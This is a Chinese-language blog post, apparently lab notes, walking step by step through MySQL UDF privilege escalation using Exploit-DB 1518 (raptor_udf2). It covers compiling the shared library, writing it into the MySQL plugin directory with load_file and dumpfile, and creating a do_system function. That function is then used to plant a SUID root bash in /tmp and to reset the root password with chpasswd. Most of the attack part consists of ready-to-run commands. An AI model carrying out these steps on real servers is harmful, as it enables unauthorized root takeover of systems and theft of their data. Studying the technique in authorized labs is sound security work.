UDF
user dedined function用户自定义函数
在mysql中,用户自定义函数允许用户创建自己的函数
这些函数可以在sql查询语句中使用,类似于内置函数
通过使用u d f,用户可以对数据库执行自定义操作
从而满足特定业务需求。
或者实现数据库本身不支持的特定功能
这是mysql数据库本身就有的功能
不是利用,也不是什么特定的设定
现在我们用mysql u d f这种方式
首先就是要掌握mysql数据库的账号
这种账号对mysql拥有create insert delete这种权限
以创建和使用函数,当然最好是root账号
有这么一种场景
就是我们获得初始立足点之后,能够对内容管理系统的配置文件进行查看
能够获得一个mysql的凭据(账号),那如果这个凭据(账号)有刚才说的,
创建插入或者删除的权限,我们就可以考虑用用户自定义函数
这种方式提前
第二种
二是mysql数据库的一个权限叫 secure_file_priv 的值设置必须是为空。
设置成null也不行的,null是禁止一切操作。只有为空才可行!!!
priv=privillage权限
是一个mysql系统变量,用于限制像load data或者是select into outfile或者load file()这种操作
就是说你有secure_file_priv这个权限,那么才有上面这三种操作的权限。
一般情况下
当你有了一个用户的时候
你就应该想到能否用udf进行提权
而第二个决定了你是不是可以尝试进行提权
如果没有第一个mysql的用户都没有
那谈不上用 udf 提权
1518.c内容中有操作步骤说明
* Usage:
* $ id
* uid=500(raptor) gid=500(raptor) groups=500(raptor)
* $ gcc -g -c raptor_udf2.c
* $ gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
* $ mysql -u root -p
* Enter password:
* [...]
* mysql> use mysql;
* mysql> create table foo(line blob);
* mysql> insert into foo values(load_file('/home/raptor/raptor_udf2.so'));
* mysql> select * from foo into dumpfile '/usr/lib/raptor_udf2.so';
* mysql> create function do_system returns integer soname 'raptor_udf2.so';
* mysql> select * from mysql.func;
* +-----------+-----+----------------+----------+
* | name | ret | dl | type |
* +-----------+-----+----------------+----------+
* | do_system | 2 | raptor_udf2.so | function |
* +-----------+-----+----------------+----------+
* mysql> select do_system('id > /tmp/out; chown raptor.raptor /tmp/out');
* mysql> \! sh
* sh-2.05b$ cat /tmp/out
* uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm)
* [...]
*
* E-DB Note: Keep an eye on https://github.com/mysqludf/lib_mysqludf_sys
*
*/
具体操作
进入靶机后,首先登陆mysql,进去之后查看secure_file_priv的值
show variables like ‘%secure_file_priv%’;
只有这个值为空;或者为/usr/lib/mysql/plugin/这个目录才可以,
是NULL或者其他都不行!!!
show variables like ‘%plugin%’;
因为我们做udf提权的时候,要创建函数就需要写到这个plugin目录下。
这两个条件满足就有做提权的可能!!!
准备提权所使用的文件
把所需文件复制到当前目录下
searchsploit -m 1518.c .
先编译提权用的gcc文件,
gcc -g -c 1518.c -fPIC
回生成一个1518.o的文件
-g指定生成调试信息
-c告诉编译器仅仅是编译源代码,但不进行链接
通常会生成 点o 扩展名的文件
将多个源文件分别编译成目标文件,然后链接为一个可执行文件或库,很有用。
指定-fPIC这样一个参数是
告诉编译器生成位置无关代码
PIC指的是position independent code
这种代码可以在内存中的任何位置执行
这对于创建共享库非常有用
因为它们可以被多个程序在运行时共享
再接着执行这个代码
gcc -g -shared -Wl,-soname,1518.so -o 1518.so 1518.o -lc
生成一个1518.so的文件
现在目录下应该有这三个文件了
1518.c 1518.o 1518.so
将 1518.so 传到靶机里
记住这个路径 /var/www/html/1518.so
开 始 提 权
use mysql; –使用mysql数据库
create table foo(line blob); –创建一个名为foo的数据表,
其中有一个数据类型为blob的列,列名叫line。
这里边的foo在计算机编程和网络领域是一个常用的占位服务名称,它本身没有任何意义
数据类型blob是Binary large Object的缩写,二进制大对象。
insert into foo values(load_file(‘/var/www/html/1518.so’));
插入值,向刚刚创建的foo中插入一个值,1518.so
show variables like ‘%plugin%’;
用select把它转出来,dumpfile位置是刚刚查到的plugin的目录/usr/lib/mysql/plugin/
select * from foo into dumpfile ‘/usr/lib/mysql/plugin/1518.so’;
使用dumpfile函数把文件导出
outfile 多行导出,dumpfile 一行导出
outfile 会有特殊的转换,而 dumpfile 是原数据导出
创建自定义函数,名称do_system
create function do_system returns integer soname ‘1518.so’;
创建功能函数create function
自定义的名字do_system
返回值是一个整形returns integer
共享库是soname ‘1518.so’;
可以看一下我们自定义的函数
我们定义的函数已经完成了
现在让它执行,我们真正需要用于提权的东西
现在这个用户可以执行系统命令
select do_system(‘cp /bin/bash /tmp/rootbash; chmod +xs /tmp/rootbash‘);
使用cp 复制
/bin/bash 到/tmp/rootbash;
使用cp 复制bash到临时目录自定义名字的bash;
chmod +xs /tmp/rootbash
然后再这个自定义bash执行权限
ok,退出mysql,去完成最后一步~
/tmp/rootbash -p
-p 是bash的命令
直接用它有特权的方式去启动一个shell环境
能执行系统命令了,那提权的方法就多了。
select do_system(“echo ‘root:123456’ | chpasswd”);
直接将root密码修改,然后直接ssh登陆。
====================================================
反思一下提权的原理
在udf中
自定义一些能够以高权限执行系统命令的函数
然后将该函数导入到mysql的数据库中
通过mysql数据库去以高权限执行系统命令
获得提权
实际上还是通过mysql能够执行系统命令的方式
在mysql中修改
然后以root方式执行获得提权
完结撒花~~~~
暂无评论内容